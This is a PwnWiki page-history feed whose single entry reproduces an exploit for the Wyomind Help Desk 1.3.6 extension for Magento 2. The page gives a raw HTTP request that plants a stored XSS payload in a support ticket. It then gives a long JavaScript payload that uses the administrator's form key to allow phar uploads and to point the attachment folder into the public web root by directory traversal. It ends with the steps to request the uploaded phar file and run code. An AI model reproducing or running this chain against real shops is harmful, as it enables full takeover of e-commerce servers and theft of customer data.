<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Wyomind_Help_Desk_1.3.6_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E%2Fzh-hant</id>
	<title>Wyomind Help Desk 1.3.6 遠程代碼執行漏洞/zh-hant - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Wyomind_Help_Desk_1.3.6_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E%2Fzh-hant"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Wyomind_Help_Desk_1.3.6_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E/zh-hant&amp;action=history"/>
	<updated>2026-04-03T19:14:20Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Wyomind_Help_Desk_1.3.6_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E/zh-hant&amp;diff=6970&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==漏洞影響==&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Wyomind_Help_Desk_1.3.6_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E/zh-hant&amp;diff=6970&amp;oldid=prev"/>
		<updated>2021-07-10T08:29:38Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==漏洞影響==&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&amp;lt;languages /&amp;gt;&lt;br /&gt;
==漏洞影響==&lt;br /&gt;
Version: &amp;lt;= 1.3.6&lt;br /&gt;
&lt;br /&gt;
==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Wyomind Help Desk 1.3.6 - Remote Code Execution (RCE) &lt;br /&gt;
# Date: 2021-07-07&lt;br /&gt;
# Exploit Author: Patrik Lantz&lt;br /&gt;
# Vendor Homepage: https://www.wyomind.com/magento2/helpdesk-magento-2.html&lt;br /&gt;
# Version: &amp;lt;= 1.3.6&lt;br /&gt;
# Tested on: Ubuntu 18.04-20.04, Apache, PHP 7.2, Magento 2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The Mangento 2 Help Desk extension from Wyomind up to and including version 1.3.6 is vunerable to stored XSS, directory traversal and  unrestricted upload of a dangerous file type. These vulnerabilites combined could lead to code execution.&lt;br /&gt;
&lt;br /&gt;
A XSS payload can be sent via the ticket message from the front-end in the 'Support - My tickets' section. &lt;br /&gt;
The payload is triggered when an administrator views the ticket in the Magento 2 backend. The following request enable&lt;br /&gt;
the delivery of the XSS payload:&lt;br /&gt;
&lt;br /&gt;
POST /helpdesk/customer/ticket_save/ HTTP/1.1&lt;br /&gt;
Host: &amp;lt;redacted&amp;gt;&lt;br /&gt;
Content-Type: multipart/form-data; boundary=---------------------------243970849510445067673127196635&lt;br /&gt;
Content-Length: 683&lt;br /&gt;
Origin: https://&amp;lt;redacted&amp;gt;&lt;br /&gt;
Connection: close&lt;br /&gt;
Referer: https://&amp;lt;redacted&amp;gt;/helpdesk/customer/ticket_view/&lt;br /&gt;
Cookie: &amp;lt;redacted&amp;gt;&lt;br /&gt;
Upgrade-Insecure-Requests: 1&lt;br /&gt;
&lt;br /&gt;
-----------------------------243970849510445067673127196635&lt;br /&gt;
Content-Disposition: form-data; name=&amp;quot;form_key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;redacted&amp;gt;&lt;br /&gt;
-----------------------------243970849510445067673127196635&lt;br /&gt;
Content-Disposition: form-data; name=&amp;quot;object&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Hello&lt;br /&gt;
-----------------------------243970849510445067673127196635&lt;br /&gt;
Content-Disposition: form-data; name=&amp;quot;message_cc&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
-----------------------------243970849510445067673127196635&lt;br /&gt;
Content-Disposition: form-data; name=&amp;quot;content&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
-----------------------------243970849510445067673127196635&lt;br /&gt;
Content-Disposition: form-data; name=&amp;quot;hideit&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
-----------------------------243970849510445067673127196635--&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The following XSS payload shown below can be used to trigger &lt;br /&gt;
&lt;br /&gt;
1) Enabling file attachments in ticket messages&lt;br /&gt;
2) Adding 'phar' to allowed file extensions&lt;br /&gt;
3) Setting the attachment directory to 'helpdesk/files/../../../pub'&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
function successListener(e) {    &lt;br /&gt;
	var doc = e.target.response&lt;br /&gt;
	var action=doc.getElementById('config-edit-form').action;&lt;br /&gt;
	&lt;br /&gt;
	function submitRequest()&lt;br /&gt;
	{&lt;br /&gt;
	var formKey = FORM_KEY;&lt;br /&gt;
	var xhr = new XMLHttpRequest();&lt;br /&gt;
	xhr.open(&amp;quot;POST&amp;quot;, action, true);&lt;br /&gt;
	xhr.setRequestHeader(&amp;quot;Content-Type&amp;quot;, &amp;quot;multipart\/form-data; boundary=---------------------------14303502862141221692667966053&amp;quot;);&lt;br /&gt;
	xhr.withCredentials = true;&lt;br /&gt;
	var body = &amp;quot;-----------------------------14303502862141221692667966053\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;Content-Disposition: form-data; name=\&amp;quot;form_key\&amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  formKey + &amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;-----------------------------14303502862141221692667966053\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;Content-Disposition: form-data; name=\&amp;quot;config_state[wyomind_helpdesk_license]\&amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;0\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;-----------------------------14303502862141221692667966053\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;Content-Disposition: form-data; name=\&amp;quot;config_state[wyomind_helpdesk_general]\&amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;1\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;-----------------------------14303502862141221692667966053\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;Content-Disposition: form-data; name=\&amp;quot;groups[general][fields][enabled][value]\&amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;1\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;-----------------------------14303502862141221692667966053\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;Content-Disposition: form-data; name=\&amp;quot;groups[general][fields][log][value]\&amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;0\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;-----------------------------14303502862141221692667966053\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;Content-Disposition: form-data; name=\&amp;quot;groups[general][fields][default_email][value]\&amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;-----------------------------14303502862141221692667966053\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;Content-Disposition: form-data; name=\&amp;quot;groups[general][fields][default_status][value]\&amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;1\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;-----------------------------14303502862141221692667966053\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;Content-Disposition: form-data; name=\&amp;quot;groups[general][fields][pending_status][value]\&amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;2\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;-----------------------------14303502862141221692667966053\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;Content-Disposition: form-data; name=\&amp;quot;groups[general][fields][closed_status][value]\&amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;3\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;-----------------------------14303502862141221692667966053\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;Content-Disposition: form-data; name=\&amp;quot;groups[general][fields][ticket_prefix][value]\&amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;10000\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;-----------------------------14303502862141221692667966053\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;Content-Disposition: form-data; name=\&amp;quot;config_state[wyomind_helpdesk_frontend]\&amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;1\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;-----------------------------14303502862141221692667966053\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;Content-Disposition: form-data; name=\&amp;quot;groups[frontend][fields][menu_label][value]\&amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;Support - My Tickets\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;-----------------------------14303502862141221692667966053\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;Content-Disposition: form-data; name=\&amp;quot;groups[frontend][fields][top_link_enabled][value]\&amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;1\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;-----------------------------14303502862141221692667966053\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;Content-Disposition: form-data; name=\&amp;quot;groups[frontend][fields][attachments][value]\&amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;1\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;-----------------------------14303502862141221692667966053\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;Content-Disposition: form-data; name=\&amp;quot;config_state[wyomind_helpdesk_frontend_attachments_settings]\&amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;1\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;-----------------------------14303502862141221692667966053\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;Content-Disposition: form-data; name=\&amp;quot;groups[frontend][groups][attachments_settings][fields][attachments_extension][value]\&amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;jpeg,gif,png,pdf,phar\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;-----------------------------14303502862141221692667966053\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;Content-Disposition: form-data; name=\&amp;quot;groups[frontend][groups][attachments_settings][fields][attachments_directory_path][value]\&amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;helpdesk/files/../../../pub\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;-----------------------------14303502862141221692667966053\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;Content-Disposition: form-data; name=\&amp;quot;groups[frontend][groups][attachments_settings][fields][attachments_upload_max_filesize][value]\&amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;2M\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;-----------------------------14303502862141221692667966053\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;Content-Disposition: form-data; name=\&amp;quot;groups[frontend][groups][attachments_settings][fields][attachments_post_max_size][value]\&amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;4M\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;-----------------------------14303502862141221692667966053\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;Content-Disposition: form-data; name=\&amp;quot;config_state[wyomind_helpdesk_emails]\&amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;1\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;-----------------------------14303502862141221692667966053\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;Content-Disposition: form-data; name=\&amp;quot;config_state[wyomind_helpdesk_emails_customer_settings]\&amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;0\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;-----------------------------14303502862141221692667966053\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;Content-Disposition: form-data; name=\&amp;quot;groups[emails][groups][customer_settings][fields][confirmation_enabled][value]\&amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;0\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;-----------------------------14303502862141221692667966053\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;Content-Disposition: form-data; name=\&amp;quot;groups[emails][groups][customer_settings][fields][confirmation_content][value]\&amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;Dear {{customer_firstname}},\x3cbr/\x3e\x3cbr/\x3e\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;Your message has been sent to the support team.\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;Here is the message content:\x3cbr/\x3e\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;\&amp;quot;{{message}}\&amp;quot; \x3cbr/\x3e\x3cbr/\x3e\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;Kind Regards,\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;The Support Team.\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;-----------------------------14303502862141221692667966053\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;Content-Disposition: form-data; name=\&amp;quot;groups[emails][groups][customer_settings][fields][notification_enabled][value]\&amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;0\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;-----------------------------14303502862141221692667966053\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;Content-Disposition: form-data; name=\&amp;quot;groups[emails][groups][customer_settings][fields][notification_content][value]\&amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;Hello {{customer_firstname}},\x3cbr/\x3e\x3cbr/\x3e\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;Your ticket \&amp;quot;{{ticket_object}}\&amp;quot; (#{{prefixed_id}}) has been updated.\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;Please login to your account via this link in order to see the new message: {{customer_account_link}}\x3cbr/\x3e\x3cbr/\x3e\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;Regards,\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;The Support Team.\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;-----------------------------14303502862141221692667966053\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;Content-Disposition: form-data; name=\&amp;quot;config_state[wyomind_helpdesk_emails_support_team_settings]\&amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;0\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;-----------------------------14303502862141221692667966053\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;Content-Disposition: form-data; name=\&amp;quot;groups[emails][groups][support_team_settings][fields][notification_enabled][value]\&amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;0\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;-----------------------------14303502862141221692667966053\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;Content-Disposition: form-data; name=\&amp;quot;groups[emails][groups][support_team_settings][fields][notification_content][value]\&amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;You received a new message from a customer.\r\n&amp;quot; + &lt;br /&gt;
	  &amp;quot;-----------------------------14303502862141221692667966053--\r\n&amp;quot;;&lt;br /&gt;
	var aBody = new Uint8Array(body.length);&lt;br /&gt;
	for (var i = 0; i &amp;lt; aBody.length; i++)&lt;br /&gt;
	aBody[i] = body.charCodeAt(i); &lt;br /&gt;
	xhr.send(new Blob([aBody]));&lt;br /&gt;
	}&lt;br /&gt;
	submitRequest();&lt;br /&gt;
}&lt;br /&gt;
	&lt;br /&gt;
var request = new XMLHttpRequest();  &lt;br /&gt;
request.onload = successListener;    &lt;br /&gt;
request.responseType = 'document';&lt;br /&gt;
request.open('GET', document.querySelector('[data-ui-id=&amp;quot;menu-wyomind-helpdesk-configuration&amp;quot;]').querySelector('a').href, true);  &lt;br /&gt;
request.send();&lt;br /&gt;
&amp;lt;/script&amp;gt; &lt;br /&gt;
&lt;br /&gt;
After the XSS payload is executed, it is possible to upload a phar file by attaching files to ticket messages. Upon successful upload, the uploaded files can be requested to trigger the execution of it by requesting&lt;br /&gt;
&lt;br /&gt;
https://[HOSTNAME]/&amp;lt;ticketId&amp;gt;/&amp;lt;messageId&amp;gt;/filename.phar &lt;br /&gt;
&lt;br /&gt;
ticketId and messageId can be identified after sending the ticket message with the attached phar file. The ticketId is visible in the &lt;br /&gt;
URL, for example: &lt;br /&gt;
&lt;br /&gt;
https://[HOSTNAME]/helpdesk/customer/ticket_view/ticket_id/7/&lt;br /&gt;
&lt;br /&gt;
and the messageId can be identified by hovering over the uploaded file link which will be similar to &lt;br /&gt;
&lt;br /&gt;
https://[HOSTNAME]/helpdesk/customer/message_downloadAttachment/message/40/file/filename.phar&lt;br /&gt;
&lt;br /&gt;
in this case, the messageId is 40.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>